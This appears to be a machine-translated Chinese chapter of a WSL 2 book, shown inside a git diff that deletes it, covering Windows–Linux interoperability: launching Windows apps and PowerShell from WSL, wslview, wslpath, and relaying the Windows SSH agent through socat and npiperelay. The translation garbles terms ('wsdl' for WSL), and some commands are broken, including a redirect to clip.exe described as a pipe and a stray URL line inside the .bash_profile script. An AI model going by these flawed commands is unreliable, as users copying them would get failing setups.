应用)甚至更容易! 要查看实际操作,请在您的 WSL 发行版中启动一个终端,并运行`/mnt/c/Windows/System32/calc.exe`来直接从 Linux 启动 Windows 计算器应用。 如果没有在`C:\Windows`中安装 Windows,则更新路径以匹配。 通过这种方式,您可以从 wsdl 发行版中的终端启动任何 Windows 应用。 - -在 Windows Calculator(和许多其他应用)的情况下,wsdl 实际上使它更容易。 这一次,在终端中键入`calc.exe`,Windows 计算器仍然会运行。 这样做的原因是`calc.exe`在您的 Windows 路径中,(默认情况下)WSL 会将您的 Windows 路径映射到您的 WSL 发行版中的 Linux 路径。 为了演示这一点,在终端中运行`echo $PATH`: - -```sh -$ echo $PATH -/home/stuart/.local/bin:/home/stuart/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/mnt/c/Program Files (x86)/Microsoft SDKs/Azure/CLI2/wbin:/mnt/c/WINDOWS/system32:/mnt/c/WINDOWS:/mnt/c/WINDOWS/System32/Wbem:/mnt/c/WINDOWS/System32/WindowsPowerShell/v1.0/:/mnt/c/Program Files/dotnet/:/mnt/c/Go/bin:/mnt/c/Program Files (x86)/nodejs/:/mnt/c/WINDOWS/System32/OpenSSH/:/mnt/c/Program Files/Git/cmd:/mnt/c/Program Files (x86)/Microsoft VS Code/bin:/mnt/c/Program Files/Azure Data Studio/bin:/mnt/c/Program Files/Microsoft VS Code Insiders/bin:/mnt/c/Program Files/PowerShell/7/:/mnt/c/Program Files/Docker/Docker/resources/bin:/mnt/c/ProgramData/DockerDesktop/version-bin:/mnt/c/Program Files/Docker/Docker/Resources/bin:… -``` - -从这里可以看到,Linux 中的`PATH`变量不仅包含通常的路径(如`/home/stuart/bin`),还包含 Windows`PATH`变量的值(如`/mnt/c/WINDOWS/System32`),这些值已经被转换为使用 WSL 挂载。 这样做的结果是,您习惯在 Windows 中运行而不指定路径的任何应用也可以在 WSL 中运行而不指定路径。 一个区别是,在 Windows 中,我们不需要指定文件扩展名(例如,我们可以在 PowerShell 中运行`calc`),但在 WSL 中需要指定。 - -在上一节中,我们在 Windows 中创建了一个文本文件(`c:\wsl-book\wsl.txt`),并在 Linux 中使用`vi`打开它,但是如果我们想在 Windows 应用中打开该文件呢? 如果您尝试从 Linux 运行`notepad.exe c:\wsl-book\wsl.txt`,记事本将给出一个错误,它无法找到该文件。 要解决这个问题,可以将路径放入引号(`notepad.exe "c:\wsl-book\wsl.txt"`)或转义反斜杠(`notepad.exe c:\\wsl-book\\wsl.txt`)。 完成这些修复后,该命令将启动 Notepad 并打开指定的文件。 - -在现实中,当你工作在终端 WSL 发行版,你将花很多时间工作与 Linux 文件系统中的文件,你会想打开【显示】*那些文件在一个编辑器。 如果你有这本书的示例代码(你可以找到它在[https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques)),导航到`chapter-05`文件夹在您的终端,哪里有一个`example.txt`文件(如果你没有样品,您可以运行`echo "Hello from WSL!" > example.txt`创建一个测试文件)。 在终端中,尝试运行`notepad.exe example.txt`—这将启动记事本,并加载来自 WSL 文件系统的`example.txt`文件。 这非常方便,因为它允许您轻松启动 Windows GUI 编辑器来处理 wsdl 发行版中的文件。* - -在本节中,我们看到了从 WSL 调用 Windows GUI 应用并将路径作为参数传递是多么容易。 在下一节中,我们将研究如何从 wsdl 调用 Windows 脚本,以及如何在需要时显式地转换路径。 - -# 从 Linux 调用 Windows 脚本 - -如果您习惯于在 Windows 中运行 PowerShell,那么您也将习惯于能够直接调用 PowerShell cmdlet 和脚本。 当你在 WSL 中运行 PowerShell 脚本时,你有两个选择:为 Linux 安装 PowerShell 或者在 Windows 中调用 PowerShell 来运行脚本。 如果您对用于 Linux 的 PowerShell 感兴趣,可以在[https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7](https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7)找到安装文档。 然而,由于本章主要讨论从 wsdl 调用 Windows,我们将研究后一种方法。 - -PowerShell 是一个 Windows 应用,并且位于 Windows 路径中,因此我们可以在 Linux 中使用`powershell.exe`调用它,正如我们在上一节中看到的那样。 要用 PowerShell 运行命令,我们可以使用`-C`开关(简称`-Command`): - -```sh -$ powershell.exe -C "Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System" -Component Information : {0, 0, 0, 0...} -Identifier            : AT/AT COMPATIBLE -Configuration Data    : -SystemBiosVersion     : {OEMC - 300, 3.11.2650, -                        American Megatrends - 50008} -BootArchitecture      : 3 -PreferredProfile      : 8 -Capabilities          : 2327733 -... -``` - -如您所见,这里我们使用`-C`开关来运行 PowerShell`Get-ItemProperty`cmdlet 来从 Windows 注册表中检索值。 - -除了能够调用 PowerShell cmdlet 之外,您还可以从 Linux 调用 PowerShell 脚本。 本书附带的代码包含一个示例`wsl.ps1`脚本。 该脚本向用户打印问候(使用传入的`Name`参数),打印当前工作目录,然后从 Windows 事件日志输出一些条目。 在 Bash 提示符中,将工作文件夹设置为`chapter-05`文件夹,我们可以运行以下脚本: - -```sh -$ powershell.exe -C ./wsl.ps1 -Name Stuart -Hello from WSL: Stuart -Current directory: Microsoft.PowerShell.Core\FileSystem -::\\wsl$\Ubuntu-20.04\home\stuart\wsl-book\chapter-05 -Index Source      Message ------ ------      ------- -14954 edgeupdatem The description for Event ID '0'... -14953 edgeupdate  The description for Event ID '0'... -14952 ESENT       svchost (15664,D,50) DS_Token_DB... -14951 ESENT       svchost (15664,D,0) DS_Token_DB:... -14950 ESENT       svchost (15664,U,98) DS_Token_DB... -14949 ESENT       svchost (15664,R,98) DS_Token_DB... -14948 ESENT       svchost (15664,R,98) DS_Token_DB... -14947 ESENT       svchost (15664,R,98) DS_Token_DB... -14946 ESENT       svchost (15664,R,98) DS_Token_DB... -14945 ESENT       svchost (15664,P,98) DS_Token_DB... -``` - -前面的输出显示了运行刚才描述的脚本的结果: - -* 我们可以看到`Hello from WSL: Stuart`输出,其中包括`Stuart`(作为`Name`参数传递的值)。 -* 输出当前目录(`Microsoft.PowerShell.Core\FileSystem::\\wsl$\Ubuntu-20.04\home\stuart\wsl-book\chapter-05`)。 -* 从 Windows 事件日志中调用`Get-EventLog`PowerShell cmdlet 的条目。 - -这个示例显示了获取 Windows 事件日志条目,但是由于它在 Windows 中运行 PowerShell,所以您可以访问任何 Windows PowerShell cmdlet 来检索 Windows 数据或操作 Windows。 - -在这里可以调用 PowerShell 命令和脚本,这为在需要时从 Windows 获取信息提供了一种简单的方法。 该示例还展示了从 WSL 向 PowerShell 脚本传递一个参数(`Name`),接下来,我们将进一步研究这一点,以了解如何组合 PowerShell 和 Bash 命令。 - -## 在 PowerShell 和 Bash 之间传递数据 - -有时,调用 PowerShell 命令或脚本就足够了,但其他时候,您将希望在 Bash 中处理该命令的输出。 在 WSL 中处理 PowerShell 脚本的输出以一种自然的方式工作: - -```sh -$ powershell.exe -C "Get-Content ./wsl.ps1" | wc -l -10 -``` - -如您所见,该命令演示了从执行某些 PowerShell 中获取输出并将其管道化到`wc -l`中,这将计算输入中的行数(在本例中为`10`)。 - -在编写脚本时,还可能希望将值*传递给 PowerShell 脚本*。 在简单的情况下,我们可以使用 Bash 变量,如下所示: - -```sh -$ MESSAGE="Hello"; powershell.exe -noprofile -C "Write-Host $MESSAGE" -Hello -``` - -这里,我们在 Bash 中创建了一个`MESSAGE`变量,然后在传递给 PowerShell 的命令中使用它。 这种方法在 Bash 中使用变量替换—传递给 PowerShell 的命令实际上是`Write-Host Hello`。 这种技术适用于某些场景,但有时您实际上需要将输入管道导入 PowerShell。 这有点不直观,在 PowerShell 中使用了特殊的`$input`变量: - -```sh -$ echo "Stuart" | powershell.exe -noprofile -c 'Write-Host "Hello $input"' -Hello Stuart -``` - -在这个示例中,您可以看到`echo "Stuart"`的输出被传递到 PowerShell 中,该 shell 使用`$input`变量来检索输入。 为了帮助展示传递输入的技术,本示例故意保持简单。 更常见的情况是,输入可以是文件的内容或来自另一个 Bash 命令的输出,而 PowerShell 命令可以是执行更丰富处理的脚本。 - -在本节中,您已经看到了如何从 wsdl 调用 Windows 应用,包括如何在 GUI 应用中打开 wsdl 文件。 您还了解了如何调用 PowerShell 脚本,以及如何在 PowerShell 和 Bash 之间传递数据,以创建跨两个环境的脚本,从而为如何编写脚本提供更多的选项。 在下一节中,我们将探讨使集成更加紧密以进一步提高生产力的一些技巧和技巧。 - -# 互操作性提示和技巧 - -在本节中,我们将查看一些技巧,当您在 Windows 和 WSL 之间工作时,可以使用这些技巧来提高您的工作效率。 我们将看到如何使用别名来避免在执行 Windows 命令时指定扩展名,以使它们看起来更自然。 我们还将看到如何将文本从 Linux 复制到 Windows 剪贴板,以及如何使 Windows 文件夹更自然地适应 wsdl 发行版。 之后,我们将看到如何在 Linux 的默认 Windows 应用中打开文件。 从这里,我们将了解 Windows 应用如何在将 wsdl 路径作为参数传递时使用它们,以及当默认行为不起作用时如何控制映射路径。 最后,我们将研究如何将 SSH 密钥从 Windows 共享到 WSL 发行版中,以方便密钥维护。 - -让我们从别名开始。 - -## 为 Windows 应用创建别名 - -正如本章前面提到的,当从 WSL 调用 Windows 应用时,我们需要包含文件扩展名。 例如,我们需要使用`notepad.exe`来启动记事本,而在 Windows 中,我们可以只使用`notepad`。 如果您习惯于不包含文件扩展名,那么包含它可能需要一些时间来适应。 - -除了对自己进行再培训,你还可以对巴斯进行再培训! Bash 中的别名允许您为命令创建别名或替代名称。 例如,运行`alias notepad=notepad.exe`将为`notepad.exe`创建一个`notepad`的别名。 这意味着当您运行`notepad hello.txt`时,Bash 将其解释为`notepad.exe hello.txt`。 - -在终端交互式运行`alias`命令只会为当前 shell 实例设置别名。 要永久地添加别名,请将`alias`命令复制到您的`.bashrc`(或`.bash_aliases`)文件中,以便 shell 在每次启动时自动设置它。 - -接下来,我们将研究一个方便的 Windows 实用程序,它是一个很好的别名候选。 - -## 复制输出到 Windows 剪贴板 - -Windows 已经有`clip.exe`实用程序很长时间了。 `clip.exe`的帮助文本表示*将命令行工具的输出重定向到 Windows 剪贴板*,这是一个很好的描述。 正如我们在本章前面看到的,我们可以通过管道将输出从 WSL 传输到 Windows 应用,并且我们可以通过`clip.exe`将项目放在 Windows 剪贴板上。 - -例如,运行`echo $PWD > clip.exe`将把终端中的当前工作目录(即`$PWD`的值)管道到`clip.exe`。 换句话说,您可以将 wsdl 中的当前工作目录复制到 Windows 剪贴板中。 - -您还可以将其与别名(`alias clip=clip.exe`)组合,将其简化为`echo $PWD > clip`。 - -我发现自己经常使用`clip.exe`——例如,将命令的输出复制到我的代码编辑器或电子邮件中——而且它节省了在终端中选择和复制文本的时间。 - -让我们通过研究一种使 Windows 路径在 WSL 中更容易使用的方法来继续本文的技巧。 - -## 使用符号链接使 Windows 路径更容易访问 - -如前所述,我们可以通过`/mnt/c/…`映射访问 Windows 路径。 但是有一些路径,您可能会发现您经常访问,并且希望有更容易的访问。 对我来说,其中一个路径就是我的 Windows`Downloads`文件夹——每当我发现一个我想在 WSL 中安装的 Linux 工具并需要下载一个包来安装时,我的浏览器默认将其下载到 Windows 中的`Downloads`文件夹。 虽然我可以通过`/mnt/c/Users/stuart/Downloads`访问它,但我喜欢在 WSL 中以`~/Downloads`的形式访问它。 - -要做到这一点,我们可以使用`ln`**实用程序来创建一个符号链接****(也就是说,一个符号链接**)在`~/Downloads`目标 Wi【显示】ndows`Downloads`文件夹: - -```sh -$ ln -s /mnt/c/Users/stuart/Downloads/ ~/Downloads -$ ls ~/Downloads -browsh_1.6.4_linux_amd64.deb -devcontainer-cli_linux_amd64.tar.gz -powershell_7.0.0-1.ubuntu.18.04_amd64.deb -windirstat1_1_2_setup.exe -wsl_update_x64.msi -``` - -在此输出中,您可以看到用于创建符号链接的`ln -s /mnt/c/Users/stuart/Downloads/ ~/Downloads`命令(您需要更改第一个路径以匹配您的 Windows`Downloads`文件夹)。 之后,您可以看到在 wsdl 中列出新符号链接位置的内容的输出。 - -虽然在符号链接方面在 WSL 中没有什么特别的,但是能够创建到 Windows 文件夹的符号链接允许您进一步定制您的 WSL 环境。 当您使用 WSL 时,您可能会找到自己想要符号链接到的文件夹。 - -接下来,我们将看看如何在默认的 Windows 编辑器中打开 WSL 文件,了解它们的文件类型。 - -## 使用 wslview 启动默认的 Windows 应用 - -在这一章中,我们看到了如何从 WSL 中调用特定的 Windows 应用。 Windows 的另一个特性是能够启动*一个文件*,并让 Windows 决定应该启动哪个应用来打开它。 例如,在 PowerShell 提示符下,执行`example.txt`将打开默认的文本编辑器(可能是记事本),而执行`example.jpg`将打开默认的图像查看器。 - -幸运的是,帮助就在眼前,并且`wslutilities`中的`wslview`允许我们在 Linux 中做同样的事情。 微软商店中最新版本的 Ubuntu 预装了`wslutilities`,但是其他发行版的安装说明可以在[https://github.com/wslutilities/wslu](https://github.com/wslutilities/wslu)找到。 - -安装了`wslutilities`后,可以在 WSL 终端中运行`wslview`: - -```sh -# Launch the default Windows test editor -$ wslview my-text-file.txt -# Launch the default Windows image viewer -wslview my-image.jpg -# Launch the default browser -wslview https://wsl.tips -``` - -这些命令显示了使用`wslview`的几个示例。 前两个示例显示根据文件扩展名启动默认 Windows 应用。 第一个示例启动默认的 Windows 文本编辑器(通常是记事本),第二个示例启动与 JPEG 文件关联的 Windows 应用。 在第三个例子中,我们传递了一个 URL,这将在默认的 Windows 浏览器中打开该 URL。 - -这个实用程序是连接 wsdl 中的控制台和 Windows 中的图形应用的一种非常方便的方法。 - -在撰写本文时,可以使用`wslview`的路径有一些限制; 例如,`wslview ~/my-text-file.txt`将失败,错误为`The system cannot find the file specified`。 在下一节中,我们将研究如何在 Windows 和 Linux 之间转换路径来克服这个问题。 - -## Windows 和 WSL 的映射路径 - -在本章前面的中,我们运行来自 WSL 的命令,比如`notepad.exe example.txt`,这导致记事本使用我们指定的文本文件打开。 乍一看,当我们运行命令时,WSL 似乎为我们转换了路径,但下面的截图显示了任务管理器中的记事本(添加了**命令行**列): - -![Figure 5.3 – A screenshot showing notepad.exe running in Task Manager ](img/Figure_5.3_B16412.jpg) - -图 5.3 -显示 notepad.exe 在任务管理器中运行的截图 - -在这个截图中,你可以看到记事本有三个不同的参数: - -* `notepad.exe example.txt` -* `notepad.exe ../chapter-05/example.txt` -* `notepad.exe /home/stuart/wsl-book/chapter-05/example.txt` - -对于每个列出的例子,我确定我是在一个目录路径解决 WSL 的文件,和记事本启动示例文件打开每一次,即使参数直接传递给笔记本没有翻译(图 5.3 所示的*截图)。* - - *对于作为 WSL 用户的我们来说,这是非常有用的,但是,虽然这个*在本场景和大多数其他场景中只能*工作,但是理解为什么它可以工作对于它不能工作的情况是很有用的。 这样,您就知道什么时候可能需要更改行为—例如,当从 wsdl 调用 Windows 脚本时。 因此,如果在调用命令时没有转换路径,那么记事本如何在 WSL 中找到`example.txt`呢? 答案的第一部分是,当 Notepad 由 WSL 启动时,它将其工作目录设置为与 WSL 中终端的当前工作目录相对应的`\\wsl$\...`路径。 我们可以通过运行`powershell.exe ls`来确认这个行为: - -```sh -$ powershell.exe ls -Directory: \\wsl$\Ubuntu-20.04\home\stuart\wsl-book\chapter-05 -Mode                 LastWriteTime         Length Name -----                 -------------         ------ ---- -------        01/07/2020     07:57             16 example.txt -$ -``` - -在这个输出中,您可以看到从 WSL 启动的 PowerShell 列出了其当前工作目录的内容。 WSL shell 有一个工作目录`/home/stuart/wsl-book/chapter-05`,当 PowerShell 启动时,它会得到 Windows 等效目录`\\wsl$\Ubuntu-20.04\home\stuart\wsl-book\chapter-05`。 - -现在我们知道记事本开始其工作目录 WSL 工作目录的基础上,我们可以看到,在前两个例子(`notepad.exe example.txt`和`notepad.exe ../chapter-05/example.txt`),记事本治疗路径为相对路径,解决他们对其工作目录中找到该文件。 - -最后一个例子(`notepad.exe /home/stuart/wsl-book/chapter-05/example.txt`)略有不同。 在本例中,Notepad 将该路径解析为根相对路径。 如果记事本有一个工作目录`C:\some\folder`,那么它将解析相对于其工作目录(`C:\`)根的路径,并得出路径`C:\home\stuart\wsl-book\chapter-05\example.txt`。 但是,由于我们从 WSL 启动记事本,它有一个工作目录`\\wsl$\Ubuntu-20.04\home\stuart\wsl-book\chapter-05`,这是一个 UNC 路径,因此根被认为是`\\wsl$\Ubuntu-20.04`。 这样做的效果非常好,因为它映射到`Ubuntu-20.04`发行版文件系统的根,所以添加 Linux 绝对路径到它生成预期的路径! - -这个映射是非常高效的,并且在大多数情况下是有效的,但是在上一节中,我们看到`wslview ~/my-text-file.txt`不起作用。 当我们需要自己控制路径映射时,我们可以使用另一个实用程序,我们将在下一节讨论它。 - -### 引入 wslpath - -`wslpath`实用程序可以用于在 Windows 路径和 Linux 路径之间进行转换。 例如,要将 wsdl 路径转换为 Windows 路径,我们可以运行以下命令: - -```sh -$ wslpath -w ~/my-text-file.txt -\\wsl$\Ubuntu-20.04\home\stuart\my-text-file.txt -``` - -该输出显示`wslpath`返回了作为参数传递的 WSL 路径的`\\wsl$\...`路径。 - -我们还可以使用`wslpath`将路径反向转换: - -```sh -$ wslpath -u '\\wsl$\Ubuntu-20.04\home\stuart\my-text-file.txt' -/home/stuart/my-text-file.txt -``` - -在这里,我们可以看到`\\wsl$\...`路径被转换回了 WSL 路径。 - -重要提示 - -在 Bash 中指定 Windows 路径时,必须转义它们,或者用单引号将路径括起来,以避免转义它们。 同样的道理也适用于`\\wsl$\...`路径中的美元符号。 - -在前面的例子中,我们使用的是 WSL 文件系统中的文件路径,但是`wslpath`同样适用于来自 Windows 文件系统的路径: - -```sh -$ wslpath -u 'C:\Windows' -/mnt/c/Windows -$ wslpath -w /mnt/c/Windows -C:\Windows -``` - -在这个输出中,您可以看到将 Windows 文件系统中的路径转换为`/mnt/…`路径,然后再转换回来。 - -现在我们已经了解了`wslpath`是如何工作的,让我们看几个使用它的例子。 - -### wslpath 在行动 - -在本章前面的中,我们看到了方便的`wslview`实用程序,但是注意到它只处理相对的 WSL 路径,所以我们不能使用`wslview /home/stuart/my-text-file.txt`。 但是`wslview`在 Windows 路径下工作,我们可以使用`wslpath`来利用这一点。 例如,`wslview $(wslpath -w /home/stuart/my-text-file.txt)`将使用`wslpath`将路径转换为相应的 Windows 路径,然后使用该值调用`wslview`。 为了方便使用,我们可以将所有这些打包到一个函数中: - -```sh -# Create a 'wslvieww' function -wslvieww() { wslview $(wslpath -w "$1"); }; -# Use the function -wslvieww /home/stuart/my-text-file.txt -``` - -在本例中,在 Bash 中创建了一个`wslvieww`函数(额外的`w`用于 Windows),但是如果您愿意,也可以选择另一个名称。 然后以与`wslview`相同的方式调用新函数,但这一次执行路径映射,Windows 能够解析映射的路径并将其加载到文本编辑器中。 - -我们看到的另一个可以使用`wslpath`的例子是在 Linux`home`文件夹中创建到 Windows`Downloads`文件夹的符号链接。 本章前面给出的命令需要您编辑该命令,以便将适当的路径放入 Windows 用户配置文件中。 下面的命令集将不需要修改即可完成此操作: - -```sh -WIN_PROFILE=$(cmd.exe /C echo %USERPROFILE% 2>/dev/null) -WIN_PROFILE_MNT=$(wslpath -u ${WIN_PROFILE/[$'\r\n']}) -ln -s $WIN_PROFILE_MNT/Downloads ~/Downloads -``` - -这些命令显示调用 Windows 来获取`USERPROFILE`环境变量,然后将其与`wslpath`转换为`/mnt/…`路径。 最后,将其与`Downloads`文件夹组合并传递给`ln`以创建符号链接。 - -这些只是两个示例,说明了如何使用`wslpath`来完全控制在 Windows 和 WSL 文件系统之间的转换路径。 大多数情况下,这是不需要的,但是知道它的存在(以及如何使用它)可以帮助您高效地处理 wsdl 中的文件。 - -我们要看的最后一个技巧是在 Windows 和 WSL 发行版之间共享 SSH 密钥。 - -## SSH 代理转发 - -当使用 SSH 连接到远程计算机时,通常使用 SSH 身份验证密钥。 SSH 密钥也可以用于对其他服务进行身份验证——例如,当通过`git`将源代码更改推送到 GitHub 时。 - -本节将指导您配置用于 WSL 发行版的 OpenSSH 身份验证代理。 假设您已经拥有 SSH 密钥和要连接到的机器。 - -提示 - -如果您没有具有 SSH 密钥,那么 OpenSSH 文档将介绍如何创建它们:[https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement](https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement)。 - -如果你没有一个机器连接到 Azure 文档将帮助您创建一个虚拟机使用 SSH 访问(可以免费试用):[https://docs.microsoft.com/en-us/azure/virtual-machines/linux/ssh-from-windows provide-an-ssh-public-key-when-deploying-a-vm](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/ssh-from-windows#provide-an-ssh-public-key-when-deploying-a-vm)。 - -如果您在 Windows 和一个或多个 WSL 发行版中使用 SSH 密钥,那么您*可以每次*复制 SSH 密钥。 另一种方法是在 Windows 中设置**OpenSSH 身份验证代理**,然后配置 WSL 发行版以使用它来获取密钥。 这意味着您只有一个地方来管理您的 SSH 密钥,而只有一个地方可以输入 SSH 密钥口令(假设您正在使用它们)。 - -让我们从 Windows OpenSSH 身份验证代理开始。 - -### 确保 Windows 的 OpenSSH 认证代理正在运行 - -设置此设置的第一步是确保 Windows 的 OpenSSH 身份验证代理正在运行。 要做到这一点,请打开 Windows 中的**Services**应用,并向下滚动到**OpenSSH Authentication Agent**。 如果它没有显示为**正在运行**,那么右键单击并选择**属性**。 在打开的对话框中,确保它具有以下设置: - -* **启动类型**为**自动**。 -* **服务状态**为**运行**(如果不是,请单击**启动**按钮)。 - -现在,您可以使用`ssh-add`将密钥添加到代理—例如`ssh-add ~/.ssh/id_rsa`。 如果您有 SSH 密钥的密码,系统将提示您输入它。 如果您得到一个错误`ssh-add`没有找到,那么使用[https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse](https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse)的说明安装 OpenSSH 客户端。 - -要检查密钥是否已正确添加,请尝试从 Windows 运行`ssh`来连接到远程计算机: - -```sh -C:\ > ssh stuart@sshtest.wsl.tips -key_load_public: invalid format -Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-1028-azure x86_64)                                                                            -Last login: Tue Jul  7 21:24:59 2020 from 143.159.224.70 -stuart@slsshtest:~$ -``` - -在这个输出中,您可以看到`ssh`正在运行,并成功地连接到远程机器。 - -提示 - -如果您已经配置了用于 GitHub 认证的 SSH 密钥,那么您可以使用`ssh -T git@github.com`来测试您的连接。 在 GitHub 上使用 SSH 密钥的详细信息可以在[https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh](https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh)找到。 - -要告诉 Git 使用**OpenSSH Authentication Agent**来检索您的 SSH 密钥,您需要将`GIT_SSH`环境变量设置为`C:\Windows\System32\OpenSSH\ssh.exe`(或者如果您的 Windows 文件夹不同,则将其安装到其他路径)。 - -到目前为止,步骤已经用我们在 Windows 中的 SSH 密钥配置了 OpenSSH 身份验证代理。 如果我们为我们的密钥设置了密码,这将避免我们在每次使用密钥时都被提示输入密码。 接下来,我们将设置从 wsdl 访问这些键。 - -### 配置从 WSL 访问 Windows SSH 密钥 - -现在我们已经有了键在 Windows 中工作,我们希望用 WSL 设置我们的 Linux 发行版,以连接到 Windows 的 OpenSSH 身份验证代理。 Linux`ssh`客户机具有`SSH_AUTH_SOCK`环境变量,它允许您为`ssh`提供一个套接字,以便在`ssh`检索 SSH 密钥时连接到它。 挑战在于 OpenSSH Authentication Agent 允许通过 windows 命名的管道而不是套接字(更不用说是一台独立的机器)进行连接。 - -为了将 Linux 套接字连接到 windows 命名的管道,我们将使用两个实用程序:`socat`和`npiperelay`。 `socat`实用程序是一个功能强大的 Linux 工具,可以在不同位置之间中继流。 我们将使用它来监听`SSH_AUTH_SOCK`套接字并转发到它所执行的命令。 这个命令将是`npiperelay`实用程序(由 John Starks 编写,他是 Windows 团队中的一名开发人员,在 Linux 和容器方面做着很酷的工作),它将其输入转发到一个命名管道。 - -为了安装`npiperelay`,从 GitHub([https://github.com/jstarks/npiperelay/releases/latest](https://github.com/jstarks/npiperelay/releases/latest))获取的最新版本,并将`npiperelay.exe`提取到路径中的某个位置。 要安装`socat`,运行`sudo apt install socat`。 - -启动转发 SSH 密钥请求,在 WSL 中执行如下命令: - -```sh -export SSH_AUTH_SOCK=$HOME/.ssh/agent.sock -socat UNIX-LISTEN:$SSH_AUTH_SOCK,fork EXEC:"npiperelay.exe -ei -s //./pipe/openssh-ssh-agent",nofork & -``` - -第一行设置环境变量`SSH_AUTH_SOCK`。 第二行运行`socat`并告诉它监听`SSH_AUTH_SOCK`插座并将其传递给`npiperelay`。 `npiperelay`命令行告诉它侦听并将其输入转发给`//./pipe/openssh-ssh-agent`命名管道。 - -有了这些,你现在可以在你的 WSL 发行版中运行`ssh`: - -```sh -$ ssh stuart@sshtest.wsl.tips -agent key RSA SHA256:WEsyjMl1hZY/xahE3XSBTzURnj5443sg5wfuFQ+bGLY returned incorrect signature type -Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-1028-azure x86_64) -Last login: Wed Jul  8 05:45:15 2020 from 143.159.224.70 -stuart@slsshtest:~$ -``` - -这个输出显示了在 WSL 发行版中成功运行了`ssh`。 我们可以通过运行`ssh`和`-v`(详细)开关来验证键是否已经从 Windows 加载: - -```sh -$ ssh -v stuart@sshtest.wsl.tips -... -debug1: Offering public key: C:\\Users\\stuart\\.ssh\\id_rsa RSA SHA256:WEsyjMl1hZY/xahE3XSBTzURnj5443sg5wfuFQ+bGLY agent -debug1: Server accepts key: C:\\Users\\stuart\\.ssh\\id_rsa RSA SHA256:WEsyjMl1hZY/xahE3XSBTzURnj5443sg5wfuFQ+bGLY agent -... -``` - -完整的详细输出相当长,但是在它的这个片段中,我们可以看到`ssh`用于建立连接的键。 注意,路径是 Windows 路径,显示了键是通过 Windows OpenSSH 代理加载的。 - -前面为启动`socat`而运行的命令使我们能够测试此场景,但是您可能希望自动转发 SSH 密钥请求,而不需要在每个新的终端会话中运行这些命令。 为了实现这一点,在你的`.bash_profile`文件中添加以下几行: - -```sh -export SSH_AUTH_SOCK=$HOME/.ssh/agent.sock -ALREADY_RUNNING=$(ps -auxww | grep -q "[n]piperelay.exe -ei -s //./pipe/openssh-ssh-agent"; echo $?) -if [[ $ALREADY_RUNNING != "0" ]]; then -    if [[ -S $SSH_AUTH_SOCK ]]; then - (http://www.tldp.org/LDP/abs/html/fto.html) -        echo "removing previous socket..." -        rm $SSH_AUTH_SOCK -    fi -    echo "Starting SSH-Agent relay..." -    (setsid socat UNIX-LISTEN:$SSH_AUTH_SOCK,fork EXEC:"npiperelay.exe -ei -s //./pipe/openssh-ssh-agent",nofork &) /dev/null 2>&1 -fi -``` - -这些命令的本质与原来的`socat`命令相同,但添加了错误检查,在启动`socat`命令之前测试其是否已经运行,并允许其在终端会话之间持久存在。 - -有了这个,您就可以有一个地方来管理您的 SSH 密钥和口令(windows 的 OpenSSH 身份验证代理),并且可以无缝地与您的 WSL 发行版共享您的 SSH 密钥。 - -此外,将 Linux 套接字转发到 windows 命名的管道的技术可以在中用于其他情况。 查看`npiperelay`文档获取更多示例,包括从 Linux 连接到 Windows 下的 MySQL 服务:[https://github.com/jstarks/npiperelay](https://github.com/jstarks/npiperelay)。 - -在这个技巧和技巧部分中,您看到了一系列示例,这些示例说明了连接 WSL 和 Windows 的技术,从创建命令别名到共享 SSH 密钥。 虽然这些示例的目的是让它们有用,但它们背后的技术是可推广的。 例如,SSH 密钥共享示例展示了如何使用一些工具来启用 Linux 套接字和 windows 命名管道之间的桥接,并且可以在其他场景中使用。 - -# 总结 - -在本章中,您已经看到了如何从 WSL 发行版访问 Windows 文件系统中的文件,以及如何从 Linux 启动 Windows 应用,包括使用`wlsview`实用程序轻松地启动文件的默认 Windows 应用。 您已经了解了如何在 Windows 和 Linux 脚本之间传输输入,包括如何在需要时使用`wslpath`在两个文件系统方案之间映射路径。 - -在本章的末尾,您看到了如何从 Linux 套接字映射到 Windows 命名的管道,并使用这种技术使您的 Windows SSH 键在 wsdl 中可用。 这允许您避免将 SSH 密钥复制到每个 WSL 分发版中,而是在一个共享的地方管理您的 SSH 密钥和口令,从而更容易控制和备份您的 SSH 密钥。 - -所有这些都有助于将 Windows 和 Linux 与 WSL 紧密结合在一起,并在您的日常工作流中驱动更大的生产力。 - -在这一章中,我们花了很多时间在终端上。 在下一章中,我们将重新讨论 Windows 终端,并探索一些更高级的方法来定制它以满足您的需求。***** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/06.md b/docs/wsl2-tip-trick-tech/06.md deleted file mode 100644 index d1372df7..00000000 --- a/docs/wsl2-tip-trick-tech/06.md +++ /dev/null @@ -1,282 +0,0 @@ -# 六、从 Windows 终端获取更多 - -介绍了新的 Windows 终端在[*第三章*](03.html#_idTextAnchor037),*开始与 Windows 终端*,您看到了如何安装和定制您的概要文件和配色方案的顺序,他们在这一章中使用。 在本章中,我们将进一步探索 Windows 终端,并研究在 Windows 终端中运行多个不同 shell 的情况下保持生产效率的几种不同方法。 在此之后,我们将查看添加自定义配置文件,以使您能够简化常见任务的流程。 - -在本章中,我们将涵盖以下主要主题: - -* 自定义选项卡标题 -* 使用多个窗格 -* 添加自定义配置文件 - -我们将通过研究如何使用选项卡标题来帮助您管理多个选项卡开始本章。 - -# 定制标签标题 - -**标签式用户界面**很棒 浏览器有,编辑器有,Windows 终端有。 对于一些人,包括我自己,标签式用户界面也提出了一个挑战-我最终打开了很多标签: - -![Figure 6.1 – A screenshot of Windows Terminal with lots of tabs open 